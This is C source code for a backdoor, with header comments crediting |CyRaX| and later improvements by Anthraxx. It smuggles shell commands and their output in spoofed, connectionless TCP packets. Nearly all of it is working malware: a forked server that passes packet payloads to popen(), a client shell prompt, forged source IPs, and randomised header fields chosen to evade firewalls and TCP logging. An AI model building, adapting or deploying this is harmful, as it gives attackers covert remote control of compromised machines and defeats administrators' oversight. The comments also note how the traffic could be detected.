/* Backdoor over non connected and spoofed tcp packets
 * Coded by |CyRaX|
 * Members Of Packets Knights Crew
 * www.programmazione.it/knights
 * This little backdoor works by sending data in tcp packets over tcp packets
 * without creating a connection. Simply we use the tcp that is a connection
 * oriented protocol as udp (connection less).
 * Why to do this :
 *  - tcp loggers simpy log only the connection request
 *  - firewalls can't block packets all the packets destinated to a port >=
 *    1024.. they logs only the packets with the SYN flag... but we don't
 *    need it :)
 * Why this is better than backdoor over icmp or igmp : because a good admin
 * would simply blocks (or at least log) all those packets. But it's very hard
 * that he'll blocks all the tcp packets (or log them all)
 * Edit this code as you want (and correct all the bugs :P)
*/

/* Nice Prog, but not perfect
 * Now it is really usuable...
 *  
 * Changes:
 * Little Bugfixes, code cleaning, return codes..
 * More Command line Options: S/D Port, Source IP, Fake IP, ack bit
 * More Stealthy: TTL, Windows randomized, ACK Bit set 
 *
 * The only whay to detect this shit is to search for many ack packets
 * without the 3 way handshake on the beginning (if you use good port numbers). 
 * Or search for many packets with the same seq.. :)
 * 
 * Anthraxx, MAR.2001
 * anthraxx@gmx.net, Member of Diesel Power and USAD
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <net/if.h>

/* Prototipi */
void uso(void);
void waitpkt(void);
void check_args(int argc, char **argv);
int sendpkt(char *what, unsigned long int to);
u_short in_chksum(u_short *ptr, int nbytes);


/* Globals: */
int srv_prt=4321;
int cln_prt=1234;

char srv_ip[20];
char cln_ip[20];
char fkd_ip[20];

int server=2;
int wait=1;
int sock_waiting;
int mack=0;

/* some structs */
struct ippkt {
   struct ip ip;
   struct tcphdr tcp;
   char something[12];
   char data[1024];
};

struct pseudohdr {
   u_int32_t saddr;
   u_int32_t daddr;
   u_int8_t zero;
   u_int8_t protocol;
   u_int16_t lenght;
};


/* Let's go !! :) */
int main(int argc, char **argv){
pid_t procid;
struct ippkt pkt;
char command[200];

   srand(getpid());
   if(argc<2){
      uso();
      exit(0);
   }

   check_args(argc, argv);

   sock_waiting=socket(AF_INET,SOCK_RAW,6);
   if(sock_waiting < 1) {
     perror("Cannot open socket");
   }
   
   printf("Backdoor on non connected/spoofed tcp. Coded by |CyRaX|. cyrax@freemail.it\n");
   printf("Members of Packets Knights Crew ! www.programmazione.it/knights\n");

   if(server){
      printf("Running in server mode. Forking and waiting for the data\n");
      procid=fork();
      if(procid!=0){
	 /* The parent dies. */
	 exit(0);
      }
      while(1){
	 waitpkt();
      }
   }
   else {
      printf("Running in client mode. Sending data to %s.\n",srv_ip);
      while(1){
	 printf("root@%s # ",srv_ip);
	 fgets(command,200,stdin);
	 wait=1;
	 sendpkt(command,inet_addr(srv_ip));
	 while(wait){
	    waitpkt();
	 }
      }
   }
}


/* Functions that wait for packets */
void waitpkt(){
   struct ippkt pkt;
   int howmany;
   struct sockaddr_in sin;
   int clen=sizeof(sin);
   FILE *job;
   char buff[200];

   memset(&pkt,0,sizeof(struct ippkt));
   howmany=recvfrom(sock_waiting,(struct ippkt *) &pkt,sizeof(pkt),0,(struct sockaddr *)&sin,&clen);

   if(ntohs(pkt.tcp.dest)==srv_prt && pkt.tcp.ack==mack && pkt.tcp.urg==0 && server){
      job=popen(pkt.data,"r");
      while(fgets(buff,199,job)!=0) {
      sendpkt(buff,pkt.tcp.seq);
   }
      strcpy(buff,"END_OF_PROCESS");
      pclose(job);
      sendpkt(buff,pkt.tcp.seq);
   }

   if(ntohs(pkt.tcp.dest)==cln_prt && pkt.tcp.ack==mack && pkt.tcp.urg==0 && !server) {
      wait=1;
      if(strstr(pkt.data,"END_OF_PROCESS")){
	 wait=0;
      }
      else{
	 printf("%s",pkt.data);
      }
   }
}

/* Functions that sends packets */
int sendpkt(char *what, unsigned long int to){
   int sock;
   struct sockaddr_in from,temp;
   struct ippkt pkt;
   int hincl=1;
   int err;
   int s;
   struct ifreq ifr;
   struct pseudohdr psd;
   char *tosum;
   
   sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
   if(sock < 1) {
      return(sock);
   }

   err=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&hincl,sizeof(hincl));

   memset(&pkt,0,sizeof(pkt));
   from.sin_addr.s_addr=to;  /* HACK: is this necessary?? */
   from.sin_family=AF_INET;
   pkt.ip.ip_len=sizeof(struct ip)+sizeof(struct tcphdr)+12+strlen(what);
   pkt.ip.ip_hl=sizeof(pkt.ip)>>2;
   pkt.ip.ip_v=4;
   pkt.ip.ip_ttl=255;
   pkt.ip.ip_tos=0;
   pkt.ip.ip_off=0;
   pkt.ip.ip_id=htons((int)rand());
   pkt.ip.ip_p=6;
   pkt.ip.ip_src.s_addr=inet_addr(fkd_ip);
   pkt.ip.ip_dst.s_addr=to;
   pkt.ip.ip_sum=in_chksum((u_short *) &pkt.ip,sizeof(struct ip));

   if(server) {
      pkt.tcp.source=htons(srv_prt);
      pkt.tcp.dest=htons(cln_prt);
      pkt.tcp.seq=rand();
   } else {
      pkt.tcp.source=htons(cln_prt);
      pkt.tcp.dest=htons(srv_prt);
      pkt.tcp.seq=inet_addr(cln_ip);
   }

   /* SOME FLAGS */
   pkt.tcp.ack=mack;
   pkt.tcp.urg=0;
   pkt.tcp.window=rand();
   pkt.tcp.urg_ptr=rand();

   strcpy(pkt.data,what);

   /* MAYBE SOMETHING IS WRONG HERE */
   tosum=malloc(sizeof(psd)+sizeof(pkt.tcp));
   memcpy(&psd.saddr,&pkt.ip.ip_src.s_addr,4);
   memcpy(&psd.daddr,&pkt.ip.ip_dst.s_addr,4);
   psd.protocol=6;
   psd.lenght=htons(sizeof(struct tcphdr)+12+strlen(what));
   memcpy(tosum,&psd,sizeof(psd));
   memcpy(tosum+sizeof(psd),&pkt.tcp,sizeof(pkt.tcp));
   pkt.tcp.check=in_chksum((u_short *)&tosum,sizeof(psd)+sizeof(pkt.tcp));

   /* PACKET READY TO GO !!!!!! */
   err=sendto(sock,&pkt,sizeof(struct ip)+sizeof(struct tcphdr)+sizeof(pkt.something)+strlen(what),
       0,(struct sockaddr *)&from,sizeof(struct sockaddr));
   
return(err);
}
   
/* Function for the cksum.. ripped */
u_short in_chksum(u_short *ptr, int nbytes)
{
  register long           sum;            /* assumes long == 32 bits */
  u_short                 oddbyte;
  register u_short        answer;         /* assumes u_short == 16 bits */

  /*
   * Our algorithm is simple, using a 32-bit accumulator (sum),
   * we add sequential 16-bit words to it, and at the end, fold back
   * all the carry bits from the top 16 bits into the lower 16 bits.
   */

  sum = 0;
  while (nbytes > 1)
  {
    sum += *ptr++;
    nbytes -= 2;
  }

        /* mop up an odd byte, if necessary */
  if (nbytes == 1)
  {
    oddbyte = 0;            /* make sure top half is zero */
    *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
    sum += oddbyte;
  }

  /*
   * Add back carry outs from top 16 bits to low 16 bits.
   */

  sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  sum += (sum >> 16);                     /* add carry */
  answer = ~sum;          /* ones-complement, then truncate to 16 bits */

  return((u_short) answer);
}


/* check the arguments */
void check_args(int argc, char **argv) {
int n;
 	
  bzero(srv_ip, 16);
  bzero(cln_ip, 16);	
  bzero(fkd_ip, 16);	
	
	if(!strncmp(argv[1], "-s", 2)) {
		server = 1;
		
		for(n=2;n<=argc-1; n++) {
			if(!strncmp(argv[n], "-sp", 3)) {
				n++;
				srv_prt = atoi(argv[n]);
			}
		
			if(!strncmp(argv[n], "-cp", 3)) {
				n++;
				cln_prt = atoi(argv[n]);
			}

			if(!strncmp(argv[n], "-fi", 3)) {
				n++;
				strncpy(fkd_ip, argv[n], 15);
			}

			if(!strncmp(argv[n], "-a", 2)) {
				mack=1;
			}
		}
	} else {
		server = 0;

		for(n=2;n<=argc-1; n++) {
			if(!strcmp(argv[n], "-sp")) {
				n++;
				srv_prt = atoi(argv[n]);
			}
		
			if(!strcmp(argv[n], "-cp")) {
				n++;
				cln_prt = atoi(argv[n]);
			}
			
			if(!strncmp(argv[n], "-si", 3)) {
				n++;
				strncpy(srv_ip, argv[n], 15);
			}

			if(!strncmp(argv[n], "-ci", 3)) {
				n++;
				strncpy(cln_ip, argv[n], 15);
			}

			if(!strncmp(argv[n], "-fi", 3)) {
				n++;
				strncpy(fkd_ip, argv[n], 15);
			}

			if(!strncmp(argv[n], "-a", 2)) {
				mack=1;
			}
		}
	}

	if(server == 2) {
		uso();
	}

	if(server == 1)  {
		if((strlen(fkd_ip) < 7)) {
			strcpy(fkd_ip, "207.46.131.137");
		}
		printf("Starting as server.\n");
		printf("Local Port: %i  Remote Port: %i\n", srv_prt, cln_prt );
		printf("Local IP: %s, Faked IP: %s\n", cln_ip, fkd_ip);
	}

	if(server == 0) {
		if((strlen(srv_ip) < 7) || (strlen(cln_ip) < 7)) {
			uso();
		}
		if(strlen(fkd_ip) < 7) {
			strcpy(fkd_ip, "207.46.131.137");
		}
		
		printf("Starting as Client\n");
		printf("Local Port: %i  Remote Port: %i\n", cln_prt, srv_prt);
		printf("Local IP: %s  Server IP: %s  Faked IP: %s\n", cln_ip, srv_ip, fkd_ip);
	}
}


void uso(void) {
        printf("Stealthy Backdoor On Non Connected And Spoofed Tcp Packets\n");
        printf("Coded by |CyRaX| cyrax@freemail.it - improved by Anthraxx\n");
	printf("Usage: \n");
	printf("   -s    Server\n");
	printf("   -c    Client\n");
	printf("   -a    Set ack Bit\n");
	printf("   -sp   Server Port\n");
	printf("   -cp   Client Port\n");
	printf("   -si   Server IP\n");
	printf("   -ci   Client IP (your real ip!)\n");
	printf("   -fi   Fake IP (one that goes throught the firewall)\n\n");
	printf(" Server: tcpb -s -sp [port] -cp [port] -fi [ip]\n");
	printf(" Client: tcpb -c -sp [port] -cp [port] -si [ip] -ci [ip] -fi [ip]\n");
	printf(" Example: tcpb -s ; tcpb -c -si 127.0.0.1 -ci 127.0.0.1\n");
	exit(1);
}